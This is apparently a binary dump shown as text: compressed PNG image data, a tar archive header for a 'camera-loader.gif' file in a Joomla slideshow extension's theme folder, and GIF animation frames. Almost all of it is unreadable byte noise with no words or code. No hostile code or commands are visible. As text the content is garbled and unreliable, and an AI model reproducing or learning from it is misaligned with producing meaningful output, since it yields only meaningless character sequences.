�jӜ.����&��:"�Ȫ[N�p�6M�F8�)Z�T�6CG��a���nj�����ؤN�侧=�9�6��Q��ۻ��_����F�h�����oW:K�4�<bf}��!�~X���?Z>�Xl��΍�ya��#��#��p1�f��+[����n�vĸ'BfKk����"Ɣ�Y()��Mm�T@��W�$:pA�~��K?�ob����I���Z(I����1�g��`�y�3Y(I�����Jf����G3��Ɂ/~��t2������3d/���€-2ϛX�p)J>+�xO	"	���R(�t��2i�4q���5�}��;�`�5��Hʍ�#�������֩�Q"�iO����,L�����Cf�-E۵ȓ_�<|���.c �v���¯?Ԇ�Ϡ�J��>E���� /E
)z�cΪk�K���%�O��2ƛځ���1+�3����dk�����%�Ϭ�S����l8M����˫��X�p}y��o�+z�����S����ň���=w~{fy���W-X�ؼ<������9	P���	�(�J:��J��=�� ����)�J�����L����ʂ��i���������L��>���b�� �m�� �?��p�c��� 8��@p����"�� �t�s+)��Mt7D���g�~9����o��&v�վ��}�w�·���8�ڐ��ྌ&���qt��
��~�KJm��p�����-)�-ss��侧=�9�6��Q�;�|P��_]���i�����?J߮t�0ihy��������q��ˏ6?K��(Ŀ��GlS�֡{~�'y��7�O��7�>�]Sm�<B�����
5�lJ
����f��R��*�D+��u������K?zѺ�ܷ�N<��BIJ��G}]�mDnwl�hb�P�h�+��b�[Ïf>������M:��+�]�!Cx�P��h�~4�Ep�pz�`�]�3%�$�gt�-�O2�k~;Fl��]�8Tpuš�>�˝g���Wn$#���~[J]�vl�Tp�(�ҴGm��k��Y�:Jr}7��[��k�'�y��)Z]�@h����_�
�A;D�2�}�F�1Z�A^�R�ǜU5��jS?�Kp���e�7���*��cV�gj�W�[�Qg���P?��O��2���4�n..�v�c�����}��͑��S����ň���=w~{fy���W-X�ؼ<������9	P���	�(�J:�p�(�Ϊ5��d��Bɳ'��pTQN҄E_}�>>�7m��L����ʂ��i���������-�?�(���h`�!�lo�
���#|� 8��@p��� 8 �u��p ��/��������og���[��:[.�r8���>�h[l��0��6���F���Ɔ�s{2��pn��d�"���C�-�mF�n]�Ϥ�d���.8g�8��n���Zm�Q[!}��:�=6+m��������B�A.w�ckl��Y��:�6�O^;z��#�%B��>��o��Hڒ{
~�3p�z��P�����<j��xj��"��:0����{s}�G�\gK��g�P��Բ�0#N^�Ɗ�<򨬺2:����o�"™,�|2:����^�/˘��m/}ӓ��@�$�
��P24�o�Ő>�C#��BIJ������J>�#����r���;�K2�;�`
�V"b�(�|"�:��Cp֣D��l�>��E=s�Z+y�Hg&�n��ع���۾$���c_���{h���i����y�˲�)^�@h~�*�Z�}gI.�}�֖1�����i�{(3pK�S�ŧ`jkW�
.c�
c��-:y_��QN�^��]�P5y���0*�g�ݮ-oA�V})��u��l���m�\pj��zg��XI��I%c\�(D7�i�Y_�ZxՔ�{���p&(	�v�Ŋ>s��N�^�p��:��ZY�ԝ7:*]��.N�jP,����������/�	e�	��Z^	�R�@p��� 8��@pB��vp&��ɑW7�ר��8[�9ge�l����"�s��Ql�	j�HlR��CpM,G�=�Om8��=��E����T[Y:�@�A~�>�ۓ��:���̖���ߧ�B�b�u-zlV�i�Q#��C�����$]�ͬOq�}��'�����������-z�#i��fx���$��o/8t��$Cm+/�4R@�|�U���ݽ�>�#�Q���y�3\(�ljYv�'�O�Fxy���3���o�"™,�|2:����^�/˘��m/}ӓ��@�$�
��P2��\�9�)��LJR*�|%<��P��
^�Cw��)^���y���P ��0F�����G��%ZEg����d/�,�ZɣF:3�wÖ��g���%Y^�@h���ڝ��C~TO��Զ�#\�%�O��2B�U�
�2��%,��)Z[�@h~�VWħ}��-mO���a��]I�S4��!6�����}�"G9i{��w�n@��6�¨�5w���
Z��T��1����㶹[p��!��E|w�,�u�J��P2�e�Bts�֝���5�WMI�gI�g����~Ohٵ��g.7�iۋ�N��AG�[+��S�FG�+�bх��+ߧF��U��������ɗ
߄��{d-��A���@p������ 8����
���K�1sI��"6����v��˙&�׿X�E�/g�Ķ�p����n-8��p�6��r8��h2ɪ#򊬺��
wj�Tm�#!F�pH��#��UKS7��z�FH_lR'xr��ۜj�{�(��p΀���/�v�ng#w�{gy�ҷ+�%LZ�?����vOP_L'X>ٸ��Fm���?š-��	7�O-�����xw�z�м�9�'���R6%�U�Q�,P��5�Y��u�ݹ>}��G�M�s�>;	��V%)P��Ͳ�������[�3Y(I�����Jf����G3��Ɂ/~��t2��+�]�!Cx�P��h�y��zh�K�P�eŰ����Y�B�GxP\����O�r�,"��I���b�ߖR���:��2��Hi}�ڙ����T �w�`�,��h�yr���Oq���e��n��X����0��CT)�ڧht���H!E�y�YUc-p�6�#��)ZZ�xS;��B>f�y�6xp��4I��^�J��1�
�	��m|�|��}�7��k�`��FZ��MIBn^#^3�?��a��-hкO_�`c��Hf&��m���$P@Ib�'�.��S(�Dp�(	�����T�V�w��fg����>/Vl�Mk�ݾ��
���g�4
(��ߜ
5���&x��# 8��� 8@p�@p�� 8�� ����o_�Ϲ��[�&�b��α��ѝ��˿}�,6��g��Ŷ�p��Gg��Ն�?�e4�d6���ߧ6‘#U8���n{n����ڒ��27w_O�{�c�Sms�E��0Sg^9�0�ArD�D�m�����oW:K�4�<bf}��!�2���َm7jslg�)m��O�i|j�Mv�>ƻ�f�.��'���R6%�U�Q�,P��5�Y��u�ݹ>}��G/Z����I���Z(I����n�E�*���-�E8���D(�]�d��~4�)������ɜۯ���v}��%C]�[�Ѽ�%R(���b��Zx��,z��#�
(�
�NXSܧx���\�ʍ�c�V2�oK��ێm�
�T��c����Q�����P*��y0d��R�]�<9��ç�O��2Bk7�O,��Cm���!��I�S4������R����<欪��T��\��--c��ͿP!��<S�
8!�R�ߧ��~O�﬙���K�vI~�wZ�ږɫ�$y,��F�����c�,oA��}�����G23�o��<'�J�=�ve�BI'��\@Ip�'��W�C�zlv�i�^mvq���O��be��ٴΪ-h�Sڂ�G�3M�#�9jd[!6�M�=F8@p��@p�� 8��� 8@p��H�o]�����?�c�䘼���F=.��"G,��CggQ�qE8��1b��bԆ�ؤ���4�l�7�ۣ��F���p3�&YVVRmY�m3��xp��}&=�'3�ut�9#ęo4w�6�7�jۍ�
�-�A��Yik�mG�p�%y�r�r��[c;���ٷi|��ћ�.���w}[��G�ֽ���}���Bɋ3��Q�j�\1l��"��:0����{s}�G�\gK��g�P��Բ�0#N^_��<򨬺�=�u���o�"™,�|2:����^�/˘��m/}ӓ��@�$�
��P24�o�M�>�C#��BIJ������JBPܹ~�x+�r��"�C��JDl���ODWG�}�z�h���'"���g�@k%�����
[;��2{ۗdy�}�o�kw�{
�Q=�S�:�pY��>E���oVe����,�`�%�O��2B��">�s�oni{*��Cm�Jb���e�a�мE'�k9�I�+߾v�&��F���۵�-hЪ/����ї
_��݂N
� /�3di���P򤅒1.{���u`��jJ�=K
�{8���{B;�bE���ķP�Y�S�~�Q�����Ը�Q�
?�XtqjW��bi�$���p��p�|��M(;N�G��J@p�ؔ�@p�� 8��� 8@p�@p���Y��>O�ꒃ��
j�3�
G'�Au3��}F�����
#�Im�B��m�~��NǍ��� �p�����p!؞�oEl�ĖE���~0]z<�rP͔��#ܠrf9�V�Ǚ�(��W��}��q�W�����7U��"��C�S6������f
K_ظi|��ћɮ����S�*�V�\�P�.�3��V^ i��"ǯ����[�����2�(יܼw����tn���#N^���<�0c[/m_��!"��BI��痾,c�����MO��aS<�{��>�p��P2��\�9xLk�p�%)P�R�W(	Y@9Tp��%˝g��r+�
7���{�ч�G�V�٨}"��M�f�@k%�����
[;��2{ۗdy�}�o�kw�{����;����e���m^��e��7���e�;K:Xp	�S���������O���;pK�S�ŧ`d/e*������r�wg�T�s���4D0�`׳PƑދ짔�.~#�\���3��s�3�Gl�?̬�ȧu_���ˆ������'��2�����-�<i�d�A��j��l�1����w
 ���LP��	~�>s��o��3�.�$���P����Ԧ��y�oD
:��M��@aB��a,����Ũ3�~�PX9DhP�l#��ӛ�z��� 8��@p������ 8w8���}��/��9���?@�z�B���+�G,D��p����nM8�f{5U��.�#�`{�s�ٺ$�Nm���p4s���m��p�g?Z��m~���(w<b�:�������T�ܫF.��g?�3���_� 9�~�����?I߮t�0ihy��z��C�
r�z���O�����b[��~�6ǷG��M���?�w�/Ǯ����m���������BIav��l�T@���]F������Dݺ��\��D�bȹo��xx����
(Ϗ�����E����[��f�$�
�kW(�E��w?��PN|xy�sM���tZe몴}`��V���/��0�G��y?�{�W	v��>S�H�{FgY]��d���.mj�4q���5�}��;�`��6\ ����R��c[��{�)M{��a5:�B;31u��
�nY�P��r-�� ��>E���� ?1��ʆ�Ϡ�J��>E���� /E�e��X��yi˦���'^@j�--c��ͿP!��<S�
8an@�2��T��,�[ݧhmc��&�������w��V��������`PHn�IIBn^#^3�?��g���A�>}ՂE��ˣrf�I����/����|迀�G����E�Y�&q�L�P(y��Ęc�*�I���O+��6uq���O�,([Y�����nߓڂGǷ��{�
l"T�� 6�=��p�!�� 8� 8@p�@p�� 8�?��2�t�s3O)��M�	�����ѝf�y�,6��gV�� ��8:�]ِ��ྌ&�����T6±#U8�����~KS�ʖ��?���������6���^5�p9�_����o6F;H���p�Ƕzgy�Oҷ+�%LZ�?���v���B�&
��3ʚ��/�H1羜�Z-�e�t��R\�o�D�K"�\�8v��ܶD79\�ʵ��1�lJl��r�"�U@�ob}-�����?ׁ�%��h]`��g'�j�$�
���fq�q�cKo�f�$�
�k7��E��w?��PN|���f�ι������2��uana���G�~�N�츫}�����ζ��I�y�o�\�6�\�8Tpuš�>�˝g�H�U��1j+鷥��mǶN�%R��T�Z�ε��LL�����CV=�6�\�<9��ç�O��2Bk7�OL����a�3h��R��O��2Bk?�K�b���,i^�R�ԓ��ۧhi�M�@h��
q�����U�	s尔�2Xi���ݧhm�o6�	8wsqy����/�v��=-���쓒�ܼ,F�٧��)�����ӧ�Z���yyT�L<	����4�{��P�(�t�ޣ�:��$.|��
%�Z�s��QE9I��i���}Ӧ.�4��)�e+��5w���48:Ÿi�O�0�^�Pd���$|��# 8��� 8@p�@p�� 8��� �]���}��'�b���
4p|�s�]#6�d�O�RFb��/�<�D#��<��+��zL����p!���VĦQNlY�m3���"F6X����-mF�p�q��Q�֢�F��Q�ξwM^l��������6G:��wm�1#\}Iޭ�)��t�ckl��Y(,}a���kGo�}$�F*��>OmK.��6�/�F���tg�y�6�b�JE�;xUN�YȻ{�'��\gr�����~�}�w�q�c��Ge��1����/}���d�$�
��K_�1�M�^��'	N�7Y}�g:\��7���^�B�Ј��7�ֹm�t�$��W�Cj�
%�����U@9Tp��4˝g��r+�
cJ>]q�!8�Q�Ut6j����u��.�ZɣF:3�wÖ��g���%Y^�@h���ڝ��&6��Nm�<�e��2{��dq��ͪ,�#?��%,��)Z[�@h~�VWħ}��-mO���a�����S���S��ޝ�[R�εjz�� �]�Z@Gz/��Rv�\��Np!>���ͻ�{�o���mj�̪�|Z��y��l������p�z)�w����H-��'-��3Hקs��6[i��df�]�{8���{�_��\n�[(�Lp�(I���9�s6%mi�{EԠS��PN
&Ď������o]�:�����C��=���DOoBG8�)��� 8��@p���tķ.����[93P~]}uss�W��9bA�:[.�r8���>�[l��0��6���F���m��S�"�m��s�ee�!ՖE���~�_�Ϥ�d���.8g�8��뇷������rD����Fڶ7�N��B��4�.���NyW
(j��B�����\��l���n3�A�Dhi�ŦB�OǮm/��2`{��U��cl/�4R@�J�[�����Q��%�;�N�-�s��P�[4�G�d���h��}�?��p&%	P^{d]u�ߴ�e�y��A�K�P�b�}�?
����0�)���t2���;ϐYR��?�PR�#��^lj;p*�s�^&�˝g��r+�
cJ>]q�!8�Q�Ut6j��L�������<j�3�{7ly�\p��m_��e�������i�=4�G���Nm�<�eYb�
/c 4�Y�܀-s�Y��Kp���e���ouE|������4�vV��&�F�0�O��2��0Fhޢ������-�^}r/��}��h~�'��K�.�c�e���ms��SC�ȋ��Y� )�<i�d�����:�;�kXk���xϒB��d%���вk���\n�ӶA#�:���:�V(?'�Q�
?�XtqjW��bi�$���p��p�|��M(;N�G��J@p�ؔ�@p�� 8��� 8@p������9K~a}��6�}�K>�-�o9�a�l����"�s��Ql�	j�HlR��CpM,���=MLm8��=F�E����T[Y:DZC�A~�>�ۓ��:���̖O�ڞ&��B�b�u-zlV�i�Q#��5�������\�ͬOq�}��'������������-z�#i���t���$��o�[s�=�_m+�3R@�|�U���ݽ�>�#�Q���y�3\(�ljYv�'������Q�K̘�hKۗ��c�g�P���$6.2{�痾,c�����MO\��(��B�0�s��Ч�rh�3](I����Z�BI�ʡ�;����_�<�Udp(�[��m�P�����Y����Q�Dd���}h��Q#��ܻa�c�3Xfo��,/c ���M|�Ns�?���wj[�.�ۧhx��ͪ�l��Β\���-c 4?�+��>�P�f��b�O�0�֮$�)\���[t�V�������`2j�XqaTpϚ�][ނ��R���}��q��-���y�"�;C��:H
%OZ(�G!��N��Z����$޳�п�3Y@Ip�'��.V��M|%�E8u�un�,P�N����S�E�v5(��JR��	GH��ȗ
߄��{d-��M)� 8��@p���� 8����?����?����H���������8[�9ge�l����"�s��Ql�	j�HlR��CpM,G�=�Om8��=��E����T[Y:�@�A~�>�ۓ��:���̖���ߧ�B�b�u-zlV�i�Q#��C�����$]�ͬOq�}��'�����������-z�#i��fx���$��o/8t��$Cm+/�4R@�|�U���ݽ�>�#�Q���y�3\(�ljYv�'�O�Fxy���3���o�"™,�|2:����^�/˘��m/}ӓ��@�$�
��P2��\�9�)��LJR*�|%<��P��r���;�K2�;�`
�V"b�(�|"�:��Cp֣D��l�>��E=s�Z+y�Hg&�n��ع���۾$���c_���{h���i����y�˲�)^�@h~���[澳����>Ek�������=�������S0��+�}��1Ć1B����U�('m�|�.�
��<�F\ܳ�nז��A�����:F_6|}�6w.85D^����ΐ���BɓJƸ�Q�n�Ӻ��ց��)��,)���LP��	�}�r�BIgN��AG�[+��S�FG�+�b�ũ]������{�<�5��7��8�Y�+�@bSJ@p��@p������ 8@p�@h�u�?�@���#
���l�Vg�� ��-t9U�s^��?�-6Am�Mj�qN��������G��Ȳ��j�"K�h?ȯ�g�c{2SZG�3B���qt���VH_l��E��J[#m;j��^ph!w� �3u��봙�)��o�䵣7�>�]"��a׷E�~$m���3p�z���� ��d�m��F
(�ᆰ�[���7קy?�u�4�]p�%�M-�3�����#�r_2`�<�^ھ��CD8���OF'�q��+� <��e�ߴ�ozr��(��X@Ax_J���5�>�C#��BIJ������J>�#����r���;�K2�;�`
�V"b�(�|"�:��Cp֣D��l�>��E=s�Z+y�Hg&�n��ع���۾$���c_���{h���i����y�˲�)^�@h~���[澳����>Ek�������=�������S0��+�}��1Ć1B����U�('m�|�.�
��<�F\ܳ�nז��A�����:F_6|}�6w.85D^����ΐ���BɓJƸ�Q�n�Ӻ��ց��)��,)���LP��	�}�r�����ԹtԹ��@�;5ntT��O!]���}j���YU(9Ki 8�|��M(;N�G��J@p�!�� 8� 8@p�@p�� 8����?���;9�N�2�����1��9bA�Y:[.�r8���>�[l��0��6���F���m��S�"�m��w�ee�!ՖE���~�_�Ϥ�d���.8g�8��뇷������rD����F�v�����B�A.g�I�i3�S\gߦ��kGo�}$�Dh�îo��H�*��g�>	����Af/�P��$�P$�}U&��wo�O�~��li޻�J>�Z�f���[4�G�d��yl��}�?��p&%��Nb�"�W@Ax~��2��i�K��� �%P(I����.�3;j}
(�F8Ӆ��
(_	��+��,�*�s�N���3XE����؆1
%�����?���(�*:�OD&{Q��g��J5ҙɽ�<v.8�e��/��2B������4��z���u�,�}���1�߬jn����,�`�%�O��2B��">�s�oni{*��Cm�Jb���e�a�мE'�k9�I�+߾v�&��F���۵�-hЪ/����ї
_��݂N
� /�3di���P򤅒1.{���u`��jJ�=K
�{8���{B;�bE���ķP�Y�S�~�Q�����Ը�Q�
?�XtqjW��bi�$���p��p�|��M(;N�G��J@p�ؔ�@p�� 8��� 8@p�@p���n�K�1sI��"6����v�]#&ߧ7��[d��?��L���.4sۭ�Vnզ9]G#8M&YuD^�U��X�Nm���p$�Hi3t���jiꦶ\���M�O�{�c�Sms�E����[�9�����-�l�n�v�,o�Q�v���Ic@�#�gַ������响�6)��8�
:Ȓ;��snv��R�5�>���jG�{"d��\�-bL)���ª��6K�z�z�H����:P�D�&ֹo��xx����
(o���~��f�G8���D(�]�d��~4�)�������L'sn��*�ȹ>C��.�-��"���B����� ����/�K� �-��K�
�NXSܧx���\�ʍ���Z1�oK��ێm�
n%R��$��Q�����P*��y0d��R�]�<9��ç�O��2Bk7�O,��Cm���!��I�S4������R����<欪��T��\��--c��ͿP!��<S�
8A�vI��)~��~fu���eg�i
)o��v�c����}��E��ُFZ�NIBn^#^3�?��a��-hкO_�`c��Hf&��m���$P@Ib�'�.��S(�Dp�(	�v��Js�>��+ͻ�j��3Mdxr�+�Φ��n�Sڂ�G�3M���j�D�b���p�c��� 8��@p���$#�|p�>�f�Rl��t7�&�/��_��;�����U��վ��}��"\`��љp�ʆ�?�e4�d6���ߧ6±#U8���n{n���[���67�#�v�!js�m�U������u��/�v�Q=��a۽���'�ە�&�-�؟Y�v@��`��ìa�kik>X(�H1羜��-��^ɼR�5�>���jG�Æe��.m�n=
5�lJ
������굌$y:��F����%��h]`��g'�j��#,P�~Q�6�
��:�p6%iP^�B�,�����̧�rr��o/8t�sn����\�!Cx�P��h�~4�GpiJ>+�xO	"	���R(�6d�uiS˥�CW'�)�S��y��۸��#�������֩�ޣDJ������LL�����CV=�6�\�<0�3��gy��e��n�����G��p�*eZ�m.c ����)��k`̒�-y����%�O��2ƛځ���1+�3����hk�Ʃ|��P?3�O��2F�9M����˫��X���L���}�^ѳ����ܼ,F�fV��c�LoA��}�����G��ēp?ϱ_@Ic�'��e�BI7���Y@Io�'��W�C�9�]i޽W�]�i"#�S&�Vl�Zs��ImA��#��&���
E��~O8J�G8�1��@p���� 8��@p���O�S��Ԯ�����w����o9�z�l����"ܟ�\�j4�.6��aT�T�p$������vx?���("�L���E�����lY�m3����ӟ��3鱽I�ft������7Y}^�=�ն��[��h�c�E�f�v�W��uk"w�}.w�ckl������ϛ�'�:z����%B��>��o���(۔���O=|](yq�=ٸ��%�S@�|�U���ݽ�>�#�Q���y���[(�ljYu�
'�ocEx>yTuet��k�J<���f����i��,� <��e�ߪ�����a��_(I����.���[u1�G��g�P�R�+�A�B��~Td��Cw��)^���y���P���Y�E��T�2T�:��(�.:ۤȪ��g�@k%������<v/8{e��/��2B������4��z���u�,�}�v�1�߬�µ�s�Y��Ko���e���ouE|��ʿ�'Yu���O�0�֮4�)�[���[t�V��ܼ�����݀Z%��F���۵�-hЦ/����җ�>n���\e����,�u�J��P2�c�Bts�֝��\�^5%�%��=��Jz�=�u���\n�Ӷa#\��:�ܚY��vj��t��B,�\r���!B?��Pr��4@p�R�Pv�`��啀��;8� 8@p�@p�� 8��� 8@p\�
����>�*[��n8>�
����l��~He��
 ��*���/���l<�@�pE&�wZ���s�����r�,����`�����[ڌ�qf9�:��Z��o}|��W�ɋ-Ϫ�ǽ�g��"�{�f3½_phq�V�d��`f����'�:z����5���<���k�+"�P���{IFe[u���ʼ���ۿ[��r6�G�	�G�����r���������׷h"<�<*�d��yl�Ui�g�"��,��W@Ax~��2��Um/}ӓ�W�a-]p��$���#�腒af�B��6��!��.��T@�Jx�P��g�P���w��d,w��*28���G9�(�|,�:��Cp֣D��l��L�7Y3\���G�tvr�w[���2{ۗdy�}�o�kw�{��_M��Զ�#\��+��yI�1�߬jn����,�p���O��2B��">�u�_ܓ��Z�ڧ`f/e*������_�nݖE��jz�� �]�Z@Gz/���r�9`l�|\���?�e�������qf�F>m��<Z_�������p�z)�w����H-��'-��3H��`�Ӻ�f+�9��x�B��f%����W@�3���J���JZ�=�}e�9�u6%mUm�Q�N)���rj�0!v�̬�0�P|�d����C��qf�P#�c���#���@p���� 8��@p��[��?�?���(����G���W��9bA�:[.�r8���>�[l��0��6���F���m��S�"�m��s�ee�!ՖE���~�_�Ϥ�d���.8g�8��뇷������rD����F�v�����B�A.g�I�i3�S\gߦ��kGo�}$�Dh�îo��H�*��g�>	����AwV�Gm+/�4R@�|�U���ݽ�>�#�Q���y�3\(�ljYv�'�o�Dxy����*���o�"™,�|2:����^�/˘��m/}ӓ��@�$�
��P24�ob�Ч�rh�3](I����Z�BI�ʡ�;��e����y���P ��0F�����G��%ZEg����d/�,�ZɣF:3�wÖ��g���%Y^�@h���ڝ��C~TO��Զ�#\�%�O��2B�U�
�2��%,��)Z[�@h~�VWħ}��-mO���a��]I�S4��!6�����}�"G9i{��w�n@��6�¨�5w���
Z��T��1����㶹[p��!��E|w�,�u�J��P2�e�Bts�֝���5�WMI�gI�g����~OhG]��3���J:�p��:��ZY�ԝ7:*]��.N�jP,����������/�	e�	��Z^	�R�@p��� 8��@p������}�\�!��Mt7�&�/��c�Lj�����-��Ď�Yu��Yl{�����ւs�
�jӜ.����&��:"�Ȫ[N�p�6M�F8b�
��:�m[�4uS[�wl���&u�'�=�ͩ��W�"X���-���hm�p6r�@�w�7�(}��Y¤1���3���i�$��a��响k�n����Sڂ-�M�Zd��������yis�Od
5�lJ
��S�f��RT�	�Rԭ����K?�ob����I���Z(I����n�Ž��vǖ�"��BI��׮P2��o
?��PN|xy�sM��9�_m]���K��0�0�G���&�C#\
��/(�m����΢J>«�r���5�}��;�`�5��Hʍ�#�������֩�L��=FJ�����,L�����Cf�-E۵ȓ_�<|���.c �v���¯?Ԇ�Ϡ�J��>E���� /E
)z�cΪk�K���%�O��2ƛځ���1+�3����d�Ie�zT2���l8M`O�m�S�䫝��Ɍ�^k�~4���oJr������c�,oA��}�����G23�o��<'�J�=�ve�BI'��\@Ip�'�/�\7��}�Ҽ{�6�8�DF�'�y��`�lZk�=�-hp|?ӤQ@)���l��m�� 6�#��� 8��@p������ 8�����sn�!������ŷs��qt�����<��g��Ŷ�p��Gg��Ն�?�e4�d6���ߧ6‘#U8���n{n����ڒ��27w_O�{�c�Sms�E��0Sg^9�0�ArD�D�m�����oW:K�4�<bf}��!�~X�H�a�M
:7�慁��s�R�;�Ŝ�+�W*������T�qذ̖�b��E�)e�PRXU��f��RT�It�v�\��~�u��o��xx����
(o��{ц�f�G8���D(�]�d��~4�)������ɜۯ�J.r�ϐ!�d�s~�P?��"�D
%�P�������~)�\2Kl��]�8Tpuš�>�˝g���Wn$#���~[J]�vl�Tp�(�Ҵ'�e�Zhg�N�R�\�̓!�Ė��Z�Ɂ/@>�}�V�1Z�A~b��j��g�Q�Lj���e��~��"���1gU�����ԏ�ܧhi�M�@h��
q�����U�	��K��N�+
�3���-c8Np����j�;�{+\_�g�[�h�5�$��e1�53�CϝƞYނ���U16/�df���yN�$�{���>��Ng����~Oh7ȯ4��s��Ҽ{�6�8�DF�'�y��`�lZk�=�-hp|?Ӥ�O����6Hd[!6�M�=F8@p��@p�� 8��� 8@p�@|��������j$�v]=��0��]��ŷG=t�\��pT�9x}��(���a$6�m�!8�&ۓ�
=�dh��("�L���E����T[jیn?��v�I���Li]p�q��ݮ
�͵�v��B�b�u-zlV�i�Q#\}g׭���\�v���3�>�u�m��v���G�K���}�]�=���%���g�>	��u���d�dc�Mn<�R@�|�U���ݽ�>�#�Q���y�3\(�ljYv�'�ocExyTV]�Zi��7�LJ>���Ef����җeLӶ����A�K�P�b�}](��bH�ʡ�t�$��W�Cj�
%!(�
�\�S�$c��V���@n%"�a�B�'��#�>g=J���F���^�3�Y���G�tfr�-���`���K�����>�7�;ͽ�����ߩm�G�,Kl���e��7��p���w�t��ܧhm���[]�����7��=[|
���v%�O��2��0Fhޢ������o��U��ڈ��{�����4h՗R]^��ˆ����n���l/�w�,�u�J��P2�e�Bts�֝���5�WMI�gI�g����~OhG]��3���J:�p��:��ZY�ԝ7:*]��.W�\�>5r��Ϭ*����
�O�T�&�'�#ky% 8��@p��� 8� 8@p@
|����G'G\�,��9bA�Y:[.�r8���>�[l�=�
#�Im8�i4�x��>��("��~YVVRmYd������LzlOfJ��sF�3[�~x{���
�-�A��٢L����F���r�r9SH�N�Y��:�6�O^;z��#�%B+�v}[��G�Vy��>�I���^p�2{I��V^ i��"��:0����{s}�G�\gK��g�P��Բ�0#N^ߢ��<�(�%f�c��K�1D�3Y(�dt��
��K_�1�M�^��'	.�BI���u�d�ٹPs�S@94™.��T@�JxH-^�$d�P���w��d,w��*28ȭ�GVm�33�-C��s�Y����Q�Dd���}h��Q#��ܻa�c�9��2{ۗdy�}�o�kw�{
�Q=�S�:�pY��>E���oV57`��w�t�:\z��-c 4?�+��>�P�f��b�O�0�֮$�)\���[t�V�������`7�j�XqaTpϚ�][ނ��R���}��q��-���y�"�;C��:H
%OZ(�G!��N��Z����$޳�п�3Y@Ip�'��.V��M|%�E8u�un�,P�N����S�E��C�|�9D�gVJ�Rڂ�'_*|ʎ쑵�t� 8��@p��� 8�,����<�����ĆҖg��Pp���Q�m�R�0�l\��u�{�B������WFS�p���m@�;��v�VF�U���~0]����-mF�pqf9�<��^4���
�5y��Yu⸿�,�\w���cF����l��f6
K��ɍO���Ϳ�b�H�v���Y�u_�]�Cp�Bɋ3��%���F
(�*�l�n=c̫ٔ�	�G����7H���3��-��+�*�yl�Ue�_�"�-�|8:�2��痾,�[��7=9Pp����>Q���J���5��m��x�����`�+�A�Bɇ~Td��Cw��)^���y���P ���@�P�����Y�-��I�*1�Ț���<j�3�{omy�Ap���m_��e�������i�mdc|9�S�:�pYf����%Y\�@h~���[澳��Kn���e���ouE|��ʿ�'�
bK��a�����S�2S�=���v����[�U�����4D0�`�s�o�q�����hs�7^8���d3����������3�6�iٗ��r���m��É���I��RAY(y�B�8�#`0�i]����lNf&�5�п�3Z@In�'�P���&���g����~Oh_@ٜ�;����6������U@95P�;~ff$�u3����C���̡F��:�G8�)��� 8�.����3���2�IEND�B`�com_slideshowck/extensions/mod_slideshowck/themes/default/images/camera-loader.gif000060400000022111152455305260024637 0ustar00GIF89a�dfd�����܌��|z|�����trt�����쬮�������lnl�����䔖����ljl�����䔒���������tvt�����촲�������!�NETSCAPE2.0!�,��'�#�%��lX�X4H�H�վi2��k�t(<��H��TX��`�'�S��"*�+*h%Cҳ<P�Gp@�G��ή�w*zjEp�)Tl?d�~�Z�/Z	��������������	���	E��N��k�@�O��O�a
��	z��ځ	N)T]�z.�Z��O
�0 �7o�0'�y`�JS��d�@��#�X(�M���DPx�1E!�,�dfd�����܌�����|z|������trt��������Ԅ��lnl�����䔖���Ԭ��ljl�����䔒���̄��������tvt��������܌������@�p8�d��H�sD:��� �&�K�I|&�3(>�0Ch�gq-O8[(���<�fyB�	j l
fT]n�D`�kv��C�g� ��N�e�e��E��o�Ne��O�����������el�u���`Go�̨e�`
i�
tfUд�_(ۮ�!BfuP昡�$�3<@|`����)S@	v&t[T���P(�a�%��AB�b�<�����B�!�,�dfd��������ܤ��|z|�����trt��Ĝ����쬮�������lnl��������䬪����ljl��������䤦���������tvt��Ĝ����촲����������pH,���cl9��qT��(,Ƅ�Za�#��Q��J�h�q�qBEt!wC�	�FjsU	ElghC��id��B�U"Bt��E�Ui^��x
R {��U��[U
�h��x����M!�D���iU`�cg	���Lt�Ʀm��˕U�F`�S@���*TpP��/�@a�EQ�=.8�8�
�`P���"�*X�J�*´c�I
>7F0x��
&!�,�dfd���������|z|��̤�����trt��Ĝ����섆���ܬ�����lnl������������ljl��������䄂���̤����tvt��Ĝ����쌊�����������@�pH,hTlG�����8x�j��l����iD
����>#V�����"|By	�ErT	\TfgD��$#T��M�!Q$���`
Q#T��#| y�����ET
���"Š

	 ���$��MU�R��D#T�Cc�ݜ�L�y����H`�R��]�UiP$�~���@�'"�\h Q!2Z#�B�@�M�U� Q`�9��d�kQ�o�֜`AA�ł!�,�dfd���������|z|��̤�����trt��Ĝ����섆���ܬ�����lnl��������䄂����ljl���������|~|��̤����tvt��Ĝ����쌊�������������pH�0� �Т`PEg���<�jX�ٖH�H�j��-�"UB�]Y�{Bb!fgia	EVe�Ba�g��D���E!D$V���b�f���QV
�[�#�P~��B""	�BV��BV"�DU��g��%��GU����V�%^�q�2<@`ߤ�(�����HhŜ�b`hQ	KD$� #A6\�…�BP�C�Ó'=(P��n&\P ���[�!�,�dfd���������|z|��̤�����trt��Ĝ����섆���Ԭ�����lnl��������䄂����ljl���������|~|��̤����tvt��Ĝ����쌊���ܴ���������@�pHv0�������$X-�h�z���uM��B��$H
�8��K	��-U�X|`b#_B�kDV�Cv%W���EW��^%V��E!��_���CV
�}�$�D"U��C�X��V	�BV"��BX��B%V�Bb�䝭����wg�r�Ɓa�@�J�e9D$�������NFFD4Q�°\x4a��C>���#�S��,##b#�.(A�����!�,�dfd���������|z|��̤����trt��Ĝ����섆���ܬ��lnl��������䄂������ljl���������|~|��̤�����tvt��Ĝ����쌊��������@�pH$�8C�I�*ŨT�!,V��N���u<��2�J'�	$#�l�x�H�>�PDe|B`CsEW
�D
kDWh���	��W��E!Y�`W��$��E �#�Db"���B�Y�х��BW"�����W��C��񝫹��W���6)�`@�+X,4����dx�B�X�DRA��\`@��
r`c�	d���l���V�� �
�P`L!�,�dfd���������|z|���������trt��Ĝ����섆���������lnl��������䄂�������ljl���������|~|��������tvt��Ĝ����쌊�����������@�pH<�8�C��JĨ�8��׬��z�$�x,��&_��@J$H
��FK��de!S"z{yR
v��{b��e	�z%b��Q"X�^" b��$b
�R��$�Qb#~��CWV��&���&�#V�&W
	��%b��c��%W��BX��rPx0��O%B\q0�@�d5D�aʂ�28�E����!P B�*4���1X{`���+hfN��`k
0,�!�,�dfd�����܌��|z|������trt�����윚���������lnl�����䔖������Դ��ljl�����䔒�|~|�����tvt�����윞�������������p8$�>���1�|$�t:�XW,@;�D�`RfK&_-"l�,*�De�([�<�Da+`_zBx`��%bX�zd	�k$["��{FY�D
[��$~[�D���C����%[WĿ����	�W�ź��[
